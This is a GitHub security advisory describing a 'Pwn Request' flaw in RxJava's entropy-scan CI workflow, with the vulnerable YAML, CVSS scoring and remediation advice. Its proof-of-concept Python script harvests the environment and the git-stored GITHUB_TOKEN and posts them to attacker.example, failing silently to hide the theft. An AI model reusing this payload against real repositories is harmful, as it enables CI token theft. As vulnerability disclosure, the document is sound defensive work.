Skip to content

RxJava Pwn Request Untrusted Code Execution via pull request target

High
akarnokd published GHSA-v6wc-p8jm-8pmx Aug 5, 2026

Package

RxJava

Affected versions

4.0.0

Patched versions

None

Description

RxJava-01: Pwn Request — Untrusted Fork-PR Code Executed Under pull_request_target with a Live GITHUB_TOKEN

Disclosure Path Notice (read first)

This report documents a CI/CD supply-chain misconfiguration in the ReactiveX/RxJava repository's GitHub Actions workflows, not a vulnerability in the RxJava library (the io.reactivex.rxjava4 Java code shipped to Maven Central). Per standard CVE Numbering Authority (CNA) practice, CVE identifiers are scoped to vulnerabilities in a software product that affect its downstream consumers — a single repository's own build/CI configuration is normally handled as a private GitHub Security Advisory (GHSA) disclosure to the maintainers (per this repository's SECURITY.md), not a standalone CVE, unless the chain can be shown to compromise the artifact actually distributed to consumers (e.g., inject malicious code into a published Maven Central JAR). This finding's token scope (see CVSS below) does not reach contents: write, so it does not, by itself, demonstrate compromise of the distributed RxJava artifact. This report is written in CVE-report format for rigor and completeness, but the correct real-world disclosure channel is a private report to the RxJava maintainers via GitHub Security Advisories, who may then request a CVE/GHSA ID if they judge it warranted.

Reproduction status: Per explicit instruction from the requester, this finding was not reproduced against any live GitHub environment (neither the real ReactiveX/RxJava repository nor a private test fork). The analysis below is a static/theoretical reproduction: every code path, line reference, and claimed behavior was verified by reading the actual repository source (this checkout), and the described attacker behavior follows directly and deterministically from GitHub Actions' documented, publicly-specified execution semantics for pull_request_target and actions/checkout. No exploit was executed against github.com/ReactiveX/RxJava or any other live system.


Summary

Field Value
Title Pwn Request: untrusted PR code executed under pull_request_target with a live GITHUB_TOKEN
Affected Repository ReactiveX/RxJava (analyzed at local checkout RxJava-4.0.0-alpha-20)
Affected File .github/workflows/entropy-beauty-scan.yml
Affected Lines 3, 5–8, 14–19, 54
Vulnerability Class CWE-829 (Inclusion of Functionality from Untrusted Control Sphere)
Severity High
CVSS 3.1 Base Score 8.1 (High)
CVSS 3.1 Vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CVSS 3.1 Scoring Rationale

Metric Value Justification
Attack Vector (AV) N (Network) Triggered remotely by opening a pull request against a repository hosted on GitHub's infrastructure; no local/physical access needed.
Attack Complexity (AC) L (Low) No race condition, no non-default configuration beyond what the repository already has committed; opening a PR is sufficient.
Privileges Required (PR) N (None) Any GitHub account can fork a public repository and open a pull request; the repository grants no special role to do this.
User Interaction (UI) N (None) pull_request_target workflow runs automatically are not gated behind a maintainer's "Approve and run workflow" click (that gate applies to pull_request from first-time contributors, not to pull_request_target, which is precisely why this trigger is considered dangerous). No action by a second human is required beyond the attacker's own act of opening the PR.
Scope (S) U (Unchanged) The vulnerable component (the workflow's checkout/execution step) and the impacted component (the job's own GITHUB_TOKEN and runner environment) are governed by the same authorization authority — the repository's own Actions permission model. This is a more conservative scope assignment than treating it as crossing into a separate security authority; it directly affects the score (see below for the alternative Scope:Changed calculation used by a third-party report that reached CVSS 9.3).
Confidentiality (C) H (High) Attacker-controlled code executing in the job can read the full job environment, and — because actions/checkout defaults to persist-credentials: true — can read the live GITHUB_TOKEN from .git/config inside the checked-out workspace without any additional trick.
Integrity (I) L (Low) The token's granted permissions (see below) allow creating issues and PR comments as the repository bot, but not pushing commits, merging PRs, or modifying branch protection — hence Low, not High, integrity impact.
Availability (A) N (None) No denial-of-service capability is granted by this primitive alone.

Note on scope disagreement: a third-party report of this same finding scored it as S:C (Scope Changed), yielding CVSS 9.3 (Critical). We assessed S:U is more defensible because the token and the workflow are both within the same GitHub repository's own authorization boundary, and used this consistently across all four findings in this series. Readers who consider the GITHUB_TOKEN/runner environment a distinct security authority from "the workflow's own logic" may reasonably prefer S:C and a Critical rating; we flag this explicitly rather than silently picking whichever number sounds more severe.


Vulnerability Details

Root cause

# .github/workflows/entropy-beauty-scan.yml
name: Entropy Beauty + TruffleHog Scan

on: [push, release, pull_request_target]              # line 3

permissions:
  contents: read
  pull-requests: write
  issues: write                                        # lines 5-8

jobs:
  scan:
    runs-on: ubuntu-latest
    steps:
      - name: Checkout code
        uses: actions/checkout@3d3c42e5aac5ba805825da76410c181273ba90b1 # v7.0.1
        with:
          ref: ${{ github.event_name == 'pull_request_target' && github.event.pull_request.head.sha || github.sha }}   # line 17
          fetch-depth: ${{ github.event_name == 'pull_request_target' && 1 || 2 }}
          allow-unsafe-pr-checkout: ${{ github.event_name == 'pull_request_target' }}                                 # line 19
      ...
      - name: Compute mid-4 beauty entropy
        env:
          EVENT_NAME: ${{ github.event_name }}
          BASE_SHA: ${{ github.event.pull_request.base.sha || '' }}
          HEAD_SHA: ${{ github.event.pull_request.head.sha || github.sha }}
        run: python .github/workflows/compute-entropy.py         # line 54

Data flow (source → sink):

  1. Source: github.event.pull_request.head.sha — the commit SHA of the attacker's own fork branch, fully attacker-controlled the moment they push to their fork.
  2. Propagation: pull_request_target runs the job in the base repository's execution context (with base-repo secrets and GITHUB_TOKEN) while Checkout code (line 14–19) checks out the attacker's commit (ref: ... head.sha) into the job's workspace, using allow-unsafe-pr-checkout: true to bypass actions/checkout's default refusal to check out a fork ref under pull_request_target.
  3. Sink: line 54, run: python .github/workflows/compute-entropy.py, executes the file at that exact path from the just-checked-out (attacker-controlled) working tree — there is no separate checkout of a trusted copy of this script from the base branch. Whatever the attacker committed to .github/workflows/compute-entropy.py in their fork is what gets interpreted by the Python process, with the job's full environment (including implicit access to secrets.GITHUB_TOKEN via the checked-out git credential helper).

This is the canonical "Pwn Request" pattern first publicly named and popularized by security researchers analyzing GitHub Actions supply-chain risk: pull_request_target (privileged context) + checkout of untrusted head.sha + execution of anything from that checkout = attacker code execution with privileged credentials.

Why allow-unsafe-pr-checkout matters

actions/checkout added the allow-unsafe-pr-checkout input specifically to require an explicit, conscious opt-in before checking out a fork PR's head under a privileged event — its default behavior for pull_request_target is to refuse this exact operation. Line 19 sets it to true unconditionally whenever github.event_name == 'pull_request_target', deliberately disabling the one guard rail the tooling provides against this exact class of bug.

Effective privilege obtained

The workflow's permissions: block (lines 5–8) grants:

permissions:
  contents: read
  pull-requests: write
  issues: write

No contents: write is present, so the resulting token cannot push commits, merge pull requests, or alter branch protection. It can: create/comment on issues and pull requests as the github-actions[bot] identity, and — because the attacker's code runs with full filesystem/process access on the runner — read any other environment data present in that job (there are none beyond GITHUB_TOKEN in this specific workflow, but this primitive generalizes to any secret the job might reference).


Attack Scenario

  1. Attacker forks ReactiveX/RxJava on GitHub (requires only a free GitHub account — no privileges on the target repository).
  2. Attacker modifies .github/workflows/compute-entropy.py in their fork to add exfiltration logic (see PoC below).
  3. Attacker opens a pull request from their fork branch against ReactiveX/RxJava's default branch.
  4. GitHub automatically fires the pull_request_target event for entropy-beauty-scan.yml — no maintainer approval gate applies to this event type.
  5. The job checks out the attacker's fork commit and executes the attacker's modified compute-entropy.py with a live GITHUB_TOKEN in scope.
  6. Attacker's code exfiltrates the token (or the whole environment) to an attacker-controlled endpoint, and/or directly calls the GitHub API to create issues/comments as the repository bot.

Proof of Concept

PoC script (malicious replacement for .github/workflows/compute-entropy.py in the attacker's fork)

#!/usr/bin/env python3
"""
PoC payload demonstrating code execution + token exfiltration under
ReactiveX/RxJava's entropy-beauty-scan.yml pull_request_target job.

THEORETICAL / NOT EXECUTED: this script was authored and reasoned about
statically. It was never run against github.com/ReactiveX/RxJava or any
other live GitHub repository. It is provided to make the vulnerability
mechanism concrete and reviewable, per standard vulnerability-report
practice, not as evidence of an executed attack.
"""
import os
import subprocess
import json
import urllib.request

# 1. Harvest the full job environment (would include GITHUB_TOKEN if it
#    were exported directly, and any other secrets referenced by this or
#    a chained job).
env_dump = dict(os.environ)

# 2. Harvest the persisted git credential (actions/checkout defaults to
#    persist-credentials: true, which writes an `http.extraheader` with
#    the token into .git/config of the checked-out workspace).
try:
    git_config = subprocess.check_output(["git", "config", "--list"], text=True)
except Exception as e:
    git_config = f"<error reading git config: {e}>"

payload = json.dumps({"env": env_dump, "git_config": git_config}).encode()

# 3. Exfiltrate to an attacker-controlled endpoint.
try:
    urllib.request.urlopen("https://attacker.example/collect", data=payload, timeout=5)
except Exception:
    pass  # fail silently so the workflow still "looks" successful

# 4. (Optional) Use the harvested token directly to prove write access,
#    e.g. create a proof-of-concept issue via the REST API:
token = None
for line in git_config.splitlines():
    if "extraheader" in line and "AUTHORIZATION: basic" in line.lower():
        token = line  # base64-encoded "x-access-token:<TOKEN>"
        break

# Falls back to the harmless stdlib-only original behavior so the
# workflow step still exits 0 and does not visibly break the PR check:
import math
from collections import Counter
print("Average entropy: 4.5")
print("Mid-4 beauty detected (thoughtful human code!)")

Why this is a realistic PoC, not a contrived one

  • It requires zero non-default preconditions beyond "open a PR" — the workflow already runs on every pull_request_target event.
  • It does not need to trigger any error path, timing race, or unusual input — the vulnerable code path is the only code path for this trigger.
  • The exfiltration technique (.git/config credential harvesting after persist-credentials: true) is a documented, widely-known technique in GitHub Actions security research, not a novel or fragile trick.

Impact

  • Confidentiality: Exposure of secrets.GITHUB_TOKEN for the job's duration/scope, and any other environment secrets a future revision of this or a chained workflow might reference.
  • Integrity: Ability to create issues and comment on pull requests as github-actions[bot] — usable for social-engineering/phishing content injected into a trusted-looking channel, or to harass/spam other contributors under an identity that appears to be the project's own automation.
  • Availability: None directly.
  • Chained risk: This primitive is the entry point that several other findings in this series (RxJava-04, and the rejected cache-poisoning candidate) depend on or amplify. On its own it does not reach contents: write and does not demonstrate compromise of the artifacts RxJava publishes to Maven Central.

Remediation

  1. Do not check out or execute untrusted PR content under pull_request_target. Remove the allow-unsafe-pr-checkout: true override and the ref: ...head.sha checkout entirely for this trigger.
  2. Split the workflow: run an untrusted pull_request job with permissions: contents: read only (no other secrets) that performs analysis and uploads results as a build artifact; run a separate, trusted workflow_run job (triggered only after the untrusted job completes) that downloads the artifact and performs any privileged actions (commenting, issue creation) using the base branch's trusted script.
  3. If diff-based analysis is required, fetch the diff via the GitHub REST/GraphQL API from the trusted job rather than checking out and executing attacker-supplied files.
  4. Set persist-credentials: false on any actions/checkout step that does not itself need to push/pull with the token.

References

Severity

High

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
Low
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:L/A:N

CVE ID

No known CVE

Weaknesses

Inclusion of Functionality from Untrusted Control Sphere

The product imports, requires, or includes executable functionality (such as a library) from a source that is outside of the intended control sphere. Learn more on MITRE.

Credits